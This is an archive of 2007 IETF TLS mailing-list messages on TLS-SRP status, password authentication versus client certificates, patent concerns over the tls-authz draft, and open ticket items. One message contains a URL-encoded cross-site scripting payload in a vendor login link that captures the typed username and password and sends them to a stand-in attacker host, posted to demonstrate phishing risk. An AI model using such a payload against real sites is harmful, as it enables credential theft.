From tls-bounces@lists.ietf.org Fri Jun 01 04:25:37 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hu2RW-0007nX-6p; Fri, 01 Jun 2007 04:25:06 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hu2RV-0007nM-5D for tls@ietf.org; Fri, 01 Jun 2007 04:25:05 -0400 Received: from michael.checkpoint.com ([194.29.32.68]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hu2RT-0005xG-LI for tls@ietf.org; Fri, 01 Jun 2007 04:25:05 -0400 Received: from [172.31.24.80] (localhost [127.0.0.1]) by michael.checkpoint.com (8.12.10+Sun/8.12.10) with ESMTP id l518OmFB003329; Fri, 1 Jun 2007 11:24:53 +0300 (IDT) In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v752.3) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Yoav Nir Subject: Re: [TLS] Straw poll on TLS SRP status Date: Fri, 1 Jun 2007 11:24:30 +0300 To: Peter Gutmann X-Mailer: Apple Mail (2.752.3) X-Spam-Score: 0.0 (/) X-Scan-Signature: e1e48a527f609d1be2bc8d8a70eb76cb Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org I know SRP has the capability to do the whole key exchange, but why do we need it. The problem that both extensions are trying to solve is the problem of using passwords for authentication within TLS. TLS has a perfectly good way for keying already. But again, I'm not saying that SRP should not be used. I'm only saying that we don't need its key-exchange capabilities in this particular context. On May 30, 2007, at 6:15 PM, Peter Gutmann wrote: > Yoav Nir writes: > >> I think SRP should not be a stand-alone extension, but rather that >> it should >> be introduced as part of EAP. >> >> The choice is between separate extensions for SRP and for each >> authentication >> method, or to introduce them all at once under EAP, as was done in >> IKEv2. > > Is it possible to do this though? Using the taxonomy I posted > earlier, TLS- > SRP would seem to fall into the "modify the crypto portion of the TLS > handshake" bucket (alongside TLS-KRB5 and TLS-PSK), which means > that you > couldn't really do it inside EAP. Admittedly you could do a > standard TLS > handshake and then follow it up with SRP inside EAP purely for the > authentication portion, but that seems (a) messy (see draft-iab- > auth-mech-*) > and (b) a bit of a waste of SRP's capabilities, since it can do the > whole key > exchange step as well. > > Peter. > _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 01 08:13:19 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hu60I-0004xj-Hq; Fri, 01 Jun 2007 08:13:14 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hu60H-0004xW-Bl for tls@ietf.org; Fri, 01 Jun 2007 08:13:13 -0400 Received: from larry.its.auckland.ac.nz ([130.216.12.34] helo=mailhost.auckland.ac.nz) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hu60F-0003Kb-K8 for tls@ietf.org; Fri, 01 Jun 2007 08:13:13 -0400 Received: from localhost (localhost.localdomain [127.0.0.1]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id 1177518279; Sat, 2 Jun 2007 00:13:06 +1200 (NZST) X-Virus-Scanned: by amavisd-new at mailhost.auckland.ac.nz Received: from mailhost.auckland.ac.nz ([127.0.0.1]) by localhost (larry.its.auckland.ac.nz [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id jGpV1sBNNldy; Sat, 2 Jun 2007 00:13:05 +1200 (NZST) Received: from iris.cs.auckland.ac.nz (iris.cs.auckland.ac.nz [130.216.33.152]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id 95014182F9; Sat, 2 Jun 2007 00:13:05 +1200 (NZST) Received: from medusa01.cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by iris.cs.auckland.ac.nz (Postfix) with ESMTP id C16341280A1; Fri, 1 Jun 2007 23:52:32 +1200 (NZST) Received: from pgut001 by medusa01.cs.auckland.ac.nz with local (Exim 3.36 #1 (Debian)) id 1Hu5gP-0004gU-00; Fri, 01 Jun 2007 23:52:41 +1200 From: pgut001@cs.auckland.ac.nz (Peter Gutmann) To: martin.rex@sap.com Subject: Re: [TLS] Straw poll on TLS SRP status In-Reply-To: <200705301914.l4UJEKMm003461@fs4113.wdf.sap.corp> Message-Id: Date: Fri, 01 Jun 2007 23:52:41 +1200 X-Spam-Score: 0.5 (/) X-Scan-Signature: 25620135586de10c627e3628c432b04a Cc: paul.hoffman@vpnc.org, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Martin Rex writes: >The main reason why I brought it up is because most the installed base is >able to cope with SSL clients certs. I think you need to break that down into two parts: The majority of the installed (SSL-using) application base can process client certs. However, the vast majority of the installed user base is totally unable to handle client certs. See e.g. "In search of usable security - five lessons from the field" by Balfanz et al (that's the first one that comes to mind, I can dig up a dozen others if people want). All of them come to pretty much the same conclusion: PKI/certs are too complex for the average person to handle. The phishing industry can confirm this - you can't argue with $4 billion a year (YMMV) in profits based on lack of proper auth mechanisms in browsers. >I would not want to see additional password-based authentication schemes to >be promoted that require significant changes to then entire >infrastructure/middleware, because this will only add new problems, and not >really solve any of the existing problems. The existing problem is that we have nothing that offers even the most trivial resistance to phishing, and that after 15-odd years of trying we still can't get past username+password without first performing a firmware upgrade of a billion-odd users worldwide, which is unlikely to ever happen. For a nice example of how this will hit even expert users, go to https://www.zonealarm.com/store/application?namespace=zls_user&event=link.login&dc=34std&ctry=US&lang=en&hexkey=FEAB37CDAA8DC8F419BA56AA4B45C4AD8CF8496F921D8DA34A22CB284A36CAAA73F5C4F9C2B835EEA32F691CFC64249DAFAE221EC57677FBCC5171E151B8734CFF562FA4CA891A9EB908BFEB74D98DD38C110E933CA8A64DDA8E548D95E492FD5235F8EFA79101943E17B0E2017194398E46E80CF43099CD42A42CDC3EFFEBA&origin=glo%22%3E%3Cscript%3Efunction%20xss()%20%7B%0A%20var%20f%20%3D%20document.forms%5B2%5D%3B%20%2F%2F%20grab%20the%203rd%20form%20in%20the%20page%2C%20the%20login%20one%0A%20%0A%20if(!(f%20%26%26%20f.zl_user_name%20%26%26%20f.zl_user_password))%20return%20%2F%2F%20nothing%20to%20see%20here%0A%20if(f.zl_user_name.value%20%26%26%20f.zl_user_password.value)%20%7B%0A%20%20%20%2F%2F%20we've%20got%20everything%2C%20let's%20phone%20home%0A%20%20%20new%20Image().src%3D%22hxxp%3A%2F%2Felio-the-evil-hacker.com%3Fu%3D%22%20%2B%20%0A%20%20%20%20%20escape(f.zl_user_name.value)%20%2B%20%22%26p%3D%22%20%2B%20%0A%20%20%20%20%2 0escape(f.zl_user_password.value)%3B%0A%0A%20%20%2F%2F%20OK%2C%20this%20is%20just%20a%20demo%0A%20%20document.body.innerHTML%20%3D%20%22Your%20credentials%20have%20just%20been%20stolen%3A%3Cbr%3E%22%20%2B%20%0A%20%20%20%20%20%20%20f.zl_user_name.value%20%2B%20%22%2C%20%22%20%2B%20%0A%20%20%20%20%20%20%20f.zl_user_password.value%20%2B%20%22%3Ch1%3EMWAHAHAHA!%3C%2Fh1%3E%22%3B%0A%20%20return%3B%0A%20%7D%0A%20if((f.zl_user_password.onchange%20%7C%7C%20null)%20%3D%3D%20xss)%20return%3B%0A%20f.zl_user_name.onchange%20%3D%20xss%3B%0A%20f.zl_user_password.onchange%20%3D%20xss%3B%0A%20%0A%7D%0Awindow.onload%20%3D%20xss%3B%3C/script%3E%3Cinput%20type%3D%22hidden%22%20name%3D%22bal.jsp verify the SSL cert and every other browser security indicator you want, then enter a (dummy) user name and password and hit enter (the result isn't malicious, just unexpected). Anyway, there are two solutions: 1. Sit back and wait for client certs to start working. Hey, we've been waiting for fifteen-odd years already, they've gotta start working at some point, right? 2. Accept that username+password isn't going to go away (ever) and try and fix it by providing a proper security mechanism for it (mutual-auth challenge- response, for example). I'm going for #2, which would seriously impact phishing if properly implemented (admittedly it's not a silver bullet, but it'd seriously raise the bar for phishing attacks, which is a step in the right direction). The phishers in contrast are counting on people opting for #1 instead. >Here in Germany, most banks use an OTP-style approach (TAN) for >authenticating transactions. In a previous message I commented that the use of hand-over-the-password, circa 1965, had to be the ultimate indictment of the failure of browser authentication mechanisms, but I think this is even more damning: Banks are having to resort to printing and mailing out lists of TANs (i.e. physical distribution of codebooks), a technique going back to the middle ages, because security protocol designers haven't been able to provide them with anything better. Instead of requiring organisations who care about security to get medieval on your keyboard, let's give them something they can use. >If we think that passwords are fundamentally flawed in this environment, we >should not significantly prolong and promote their continued use by applying >band aids. Give me an alternative, backed by independent usability studies to show that users will be able to handle it, and I'll go with it. So far we have *nothing* that can effectively replace passwords. Again, I can cite any number of HCI studies to back this up if you want. To paraphrase Winston Churchill, "passwords are the worst form of user authentication, except for all the others". Peter. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sat Jun 02 03:09:19 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HuNjE-0006ke-31; Sat, 02 Jun 2007 03:08:48 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HuNjC-0006fW-Tp for tls@ietf.org; Sat, 02 Jun 2007 03:08:46 -0400 Received: from cs-smtp-3.stanford.edu ([171.64.64.27]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HuNjB-00018K-HZ for tls@ietf.org; Sat, 02 Jun 2007 03:08:46 -0400 Received: from xenon.stanford.edu ([171.64.66.201]) by cs-smtp-3.Stanford.EDU with esmtps (TLSv1:AES256-SHA:256) (Exim 4.60) (envelope-from ) id 1HuNjA-0006pb-E6 for tls@ietf.org; Sat, 02 Jun 2007 00:08:45 -0700 Received: from tjw (helo=localhost) by xenon.Stanford.EDU with local-esmtp (Exim 4.60) (envelope-from ) id 1HuNj9-0000qZ-5z for tls@ietf.org; Sat, 02 Jun 2007 00:08:43 -0700 Date: Sat, 2 Jun 2007 00:08:43 -0700 (PDT) From: Tom Wu To: tls@ietf.org Subject: Re: [TLS] Straw poll on TLS SRP status Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: -102.5 X-Spam-Checker-Version: SpamAssassin 3.0.4-cs-csdcf (2005-06-05) on cs-smtp-3.Stanford.EDU X-Scan-Signature: 6890477ab20817755420d5b1edd0addc X-Spam-Score: 0.0 (/) X-Scan-Signature: 82c9bddb247d9ba4471160a9a865a5f3 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Martin Rex: > The document status is pretty much the only "incentive" that the > IETF can put out for companies to slow down on their patents race > or at least to come up with reasonable licensing terms (i.e. royalty free > for Free and OpenSource software). Keep in mind that in the context of this discussion, Stanford (SRP) and Lucent (EKE) are competitors. Knocking down TLS-SRP from Proposed to Informational/Experimental rewards the player that did not do the "right" thing (free licensing) at the expense of the player that did the "right" thing (Stanford). The last thing you want to do is to create an incentive for players to do an IPR "denial of service" on a competitor's technology, since this encourages "patent race" behavior. Yoav Nir: > I think SRP should not be a stand-alone extension, but rather that it should be introduced as part of EAP. At the risk of being a bit blunt, if the EAP approach is so great, why has more support grown around TLS-SRP instead? I would also add that the two parts of your statement are not mutually exclusive. If you want to advance EAP-SRP in TLS, great, but it is not a valid reason to slow down a standard that is already in use and has seen a lot of scrutiny. > I know SRP has the capability to do the whole key exchange, but why do we need it. Perhaps we want the session to be secure against MITM attacks? > The problem that both extensions are trying to solve is the problem of using passwords for authentication within TLS. > TLS has a perfectly good way for keying already. This is not necessarily directed at you in particular, since I've seen several comments of this flavor in this discussion - there's this assumption that transport security and password authentication are separable and modular, but in the context of strong password protocols, this assumption is false - in fact it is precisely this kind of separation that would allow a MITM attack. Password authentication with low-entropy passwords is Harder Than You Think. Little things like which party sends which message first or whether one message should only be sent after some other message has been received, those can spell the difference between a secure password protocol and an insecure one. The TLS-SRP standard represents a great deal of tweaking and analysis to make sure all the details are right. Without a specific alternative password protocol to subject to scrutiny, EAP or any other general proposal cannot really be presented legitimately as an altenate "choice" to TLS-SRP at this time since there is no way evaluate its security. Just saying it's SRP isn't enough without knowing how the transport encryption/MAC keys are tied to the password-based key exchange. Tom -- Tom Wu http://www-cs-students.stanford.edu/~tjw/ _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sat Jun 02 10:45:48 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HuUrJ-0002gB-Do; Sat, 02 Jun 2007 10:45:37 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HuUrH-0002eh-MV for tls@ietf.org; Sat, 02 Jun 2007 10:45:35 -0400 Received: from moe.its.auckland.ac.nz ([130.216.12.35] helo=mailhost.auckland.ac.nz) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HuUrG-0005CG-AH for tls@ietf.org; Sat, 02 Jun 2007 10:45:35 -0400 Received: from localhost (localhost.localdomain [127.0.0.1]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id C7AC84802B0; Sun, 3 Jun 2007 02:45:20 +1200 (NZST) X-Virus-Scanned: by amavisd-new at mailhost.auckland.ac.nz Received: from mailhost.auckland.ac.nz ([127.0.0.1]) by localhost (moe.its.auckland.ac.nz [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id wO69ZmFSMW0k; Sun, 3 Jun 2007 02:45:20 +1200 (NZST) Received: from iris.cs.auckland.ac.nz (iris.cs.auckland.ac.nz [130.216.33.152]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id ADA00480304; Sun, 3 Jun 2007 02:45:20 +1200 (NZST) Received: from medusa01.cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by iris.cs.auckland.ac.nz (Postfix) with ESMTP id 7A174D14CFC; Sun, 3 Jun 2007 02:45:19 +1200 (NZST) Received: from pgut001 by medusa01.cs.auckland.ac.nz with local (Exim 3.36 #1 (Debian)) id 1HuUrB-0005ta-00; Sun, 03 Jun 2007 02:45:29 +1200 From: pgut001@cs.auckland.ac.nz (Peter Gutmann) To: pgut001@cs.auckland.ac.nz, simon@josefsson.org In-Reply-To: <87ps4i62y4.fsf@mocca.josefsson.org> Message-Id: Date: Sun, 03 Jun 2007 02:45:29 +1200 X-Spam-Score: 0.5 (/) X-Scan-Signature: 08170828343bcf1325e4a0fb4584481c Cc: tls@ietf.org Subject: [TLS] Re: Comments on draft-housley-tls-authz-extns-07 X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Simon Josefsson writes: >Hold on! Tls-authz isn't about authentication. It is about authorization. Oh, I see, so it's meant purely for authorisation and not as a general-purpose container for auth*ation exchanges. That's fine then. There is one other problem with the draft and that's the presence of the x509_attr_cert_url and saml_assertion_url mechanisms. I think building firewall-traversal proxy/DDoS-amplifier functionality into a security spec probably isn't a very good idea. Maybe these should be removed, I can't see how you can secure a mechanism in which your server is meant to perform arbitrary network access under the control of an untrusted client. Peter. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 06:43:33 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HunYM-0000qL-66; Sun, 03 Jun 2007 06:43:18 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HunYK-0000qF-O3 for tls@ietf.org; Sun, 03 Jun 2007 06:43:16 -0400 Received: from michael.checkpoint.com ([194.29.32.68]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HunYI-0003SG-6b for tls@ietf.org; Sun, 03 Jun 2007 06:43:16 -0400 Received: from [172.31.24.80] (localhost [127.0.0.1]) by michael.checkpoint.com (8.12.10+Sun/8.12.10) with ESMTP id l53Ah9FB007614; Sun, 3 Jun 2007 13:43:09 +0300 (IDT) In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v752.3) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Yoav Nir Subject: Re: [TLS] Straw poll on TLS SRP status Date: Sun, 3 Jun 2007 13:43:08 +0300 To: Tom Wu X-Mailer: Apple Mail (2.752.3) X-Spam-Score: 0.0 (/) X-Scan-Signature: 538aad3a3c4f01d8b6a6477ca4248793 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Jun 2, 2007, at 10:08 AM, Tom Wu wrote: > Martin Rex: > >> The document status is pretty much the only "incentive" that the >> IETF can put out for companies to slow down on their patents race >> or at least to come up with reasonable licensing terms (i.e. >> royalty free >> for Free and OpenSource software). > > Keep in mind that in the context of this discussion, Stanford (SRP) > and > Lucent (EKE) are competitors. Knocking down TLS-SRP from Proposed to > Informational/Experimental rewards the player that did not do the > "right" > thing (free licensing) at the expense of the player that did the > "right" > thing (Stanford). The last thing you want to do is to create an > incentive > for players to do an IPR "denial of service" on a competitor's > technology, > since this encourages "patent race" behavior. It's not about punishing Stanford or rewarding Lucent. It's the question of whether or not you might get sued for implementing this. > Yoav Nir: > >> I think SRP should not be a stand-alone extension, but rather that >> it should be introduced as part of EAP. > > At the risk of being a bit blunt, if the EAP approach is so great, > why has > more support grown around TLS-SRP instead? I would also add that > the two > parts of your statement are not mutually exclusive. If you want to > advance > EAP-SRP in TLS, great, but it is not a valid reason to slow down a > standard > that is already in use and has seen a lot of scrutiny. > >> I know SRP has the capability to do the whole key exchange, but >> why do we need it. > > Perhaps we want the session to be secure against MITM attacks? Perhaps, but we don't need to have the key mixed into the encryption keys of TLS. It should be good enough to have the server prove it has access to the SRP key. This was the approach taken in IKEv2, and it should also be good for EAP-in-TLS. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 07:37:14 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HuoOR-00040J-II; Sun, 03 Jun 2007 07:37:07 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HuoOP-0003kv-Or for tls@ietf.org; Sun, 03 Jun 2007 07:37:05 -0400 Received: from primary.lp.se ([217.25.36.66] helo=primarymx.lp.se) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HuoOO-0005Ul-Er for tls@ietf.org; Sun, 03 Jun 2007 07:37:05 -0400 Received: from localhost (localhost [::ffff:127.0.0.1]) by primarymx.lp.se with esmtp; Sun, 03 Jun 2007 13:37:03 +0200 id 002EE9D2.4662A7DF.000058A6 Date: Sun, 03 Jun 2007 13:37:02 +0200 (CEST) Message-Id: <20070603.133702.24219539.richard@levitte.org> To: tls@ietf.org Subject: Re: [TLS] Comments on draft-housley-tls-authz-extns-07 From: Richard Levitte In-Reply-To: References: <20070528183851.2E07E33C1A@delta.rtfm.com> X-URL: http://richard.levitte.org/ X-Waved: dead chicken, GNU emacs 21.4.1, Mew version 5.2.50 X-Mew: See http://www.mew.org/ X-Mailer: Mew version 5.2.50 on Emacs 21.4 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Scan-Signature: 79899194edc4f33a41f49410777972f8 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org There's already been enough arguments that I agree with about the patent issue with this draft from Pasi, Simon and Dean. I agree with them all, and just want to add another voice against putting this draft, as it currently stands with the patent claim, on the Standard Track, and am in favor of putting it on the Experimental or Informational tracks. As a OpenSSL developer, I will oppose implementing authz in it unless the patent issue is resolved in a satisfactory manner. Cheers, Richard -- Richard Levitte richard@levitte.org http://richard.levitte.org/ "When I became a man I put away childish things, including the fear of childishness and the desire to be very grown up." -- C.S. Lewis _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 10:51:07 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HurQ3-00006m-3o; Sun, 03 Jun 2007 10:50:59 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HurQ2-00006g-9N for tls@ietf.org; Sun, 03 Jun 2007 10:50:58 -0400 Received: from [74.95.2.169] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HurQ1-0006DL-0A for tls@ietf.org; Sun, 03 Jun 2007 10:50:58 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 85D3133C4B; Sun, 3 Jun 2007 07:50:02 -0700 (PDT) Date: Sun, 03 Jun 2007 07:50:02 -0700 From: Eric Rescorla To: tls@ietf.org User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070603145002.85D3133C4B@delta.rtfm.com> X-Spam-Score: 0.1 (/) X-Scan-Signature: 856eb5f76e7a34990d1d457d8e8e5b7f Cc: wpolk@nist.gov Subject: [TLS] Issue #12: RSA/DSA/DH timing attacks X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org http://www3.tools.ietf.org/wg/tls/trac/ticket/12 TLS 1.2 already requires some sort of defense against timing analysis on RSA. It is known that timing analysis is possible against DSA but I know of no published defense against it other than fixed-length computations. (As opposed to the blinding defense for RSA). In San Diego, I asked Tim of NIST knew of one but haven't heard back. I'd like to put this to bed. I suggest that unless someone comes up with a defense suggestion by Chicago we simply say that this is an issue with DSA implementations and suggest fixed-length computations as a possible defense. Comments? -Ekr _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 10:53:19 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HurSJ-0003d0-4R; Sun, 03 Jun 2007 10:53:19 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HurSH-0003TP-ND for tls@ietf.org; Sun, 03 Jun 2007 10:53:17 -0400 Received: from [74.95.2.169] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HurSG-0006QZ-EM for tls@ietf.org; Sun, 03 Jun 2007 10:53:17 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 40A7833C4B for ; Sun, 3 Jun 2007 07:52:22 -0700 (PDT) Date: Sun, 03 Jun 2007 07:52:22 -0700 From: Eric Rescorla To: tls@ietf.org User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070603145222.40A7833C4B@delta.rtfm.com> X-Spam-Score: 0.1 (/) X-Scan-Signature: 30ac594df0e66ffa5a93eb4c48bcb014 Cc: Subject: [TLS] Issue 15: Mandate protection against CBC mode timing attack X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org http://www3.tools.ietf.org/wg/tls/trac/ticket/15 NIST's comments suggest that the defense suggested in 6.2.3.2 should be mandatory. My argument is that hardware systems may operate in fixed time or otherwise be safe and so we shouldn't mandate any particular defense. Proposed resolution: leave as-is. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 10:58:26 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HurXG-0003mc-DH; Sun, 03 Jun 2007 10:58:26 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HurXF-0003mX-NM for tls@ietf.org; Sun, 03 Jun 2007 10:58:25 -0400 Received: from [74.95.2.169] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HurXE-0007GF-EE for tls@ietf.org; Sun, 03 Jun 2007 10:58:25 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 4507B33C4B for ; Sun, 3 Jun 2007 07:57:30 -0700 (PDT) Date: Sun, 03 Jun 2007 07:57:30 -0700 From: Eric Rescorla To: tls@ietf.org User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070603145730.4507B33C4B@delta.rtfm.com> X-Spam-Score: 0.1 (/) X-Scan-Signature: 93238566e09e6e262849b4f805833007 Cc: Subject: [TLS] Issue 16: Alert clarifications X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org http://www3.tools.ietf.org/wg/tls/trac/ticket/16 Several people have raised the issue of what alerts must be fatal and when they should be sent. NIST suggested that all fatal alerts MUST be sent. They also suggested that the following alerts be fatal: - bad_certificate, - unsupported_certificate - certificate_revoked. - certificate_expired We discussed this in Prague and looking at the minutes, it looks to me like the resolution was as follows: - All fatal alerts MUST be sent - For the above alerts, if you plan to tear down the connection on that basis you MUST make them fatal and send them - Add a warning that some implementations tear down the connection for any alert so warning alerts are dangerous. New implementations SHOULD not tear down the connection for warning alerts. Anyone disagree with this? -Ekr _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sun Jun 03 10:59:43 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HurYV-0004Zq-Li; Sun, 03 Jun 2007 10:59:43 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HurYV-0004Zi-AY for tls@ietf.org; Sun, 03 Jun 2007 10:59:43 -0400 Received: from [74.95.2.169] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HurYU-0007Nb-1n for tls@ietf.org; Sun, 03 Jun 2007 10:59:43 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id CFA8033C4B for ; Sun, 3 Jun 2007 07:58:47 -0700 (PDT) Date: Sun, 03 Jun 2007 07:58:47 -0700 From: Eric Rescorla To: tls@ietf.org User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070603145847.CFA8033C4B@delta.rtfm.com> X-Spam-Score: 0.1 (/) X-Scan-Signature: 08e48e05374109708c00c6208b534009 Cc: Subject: [TLS] Issue 26: Implementation pitfalls X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." 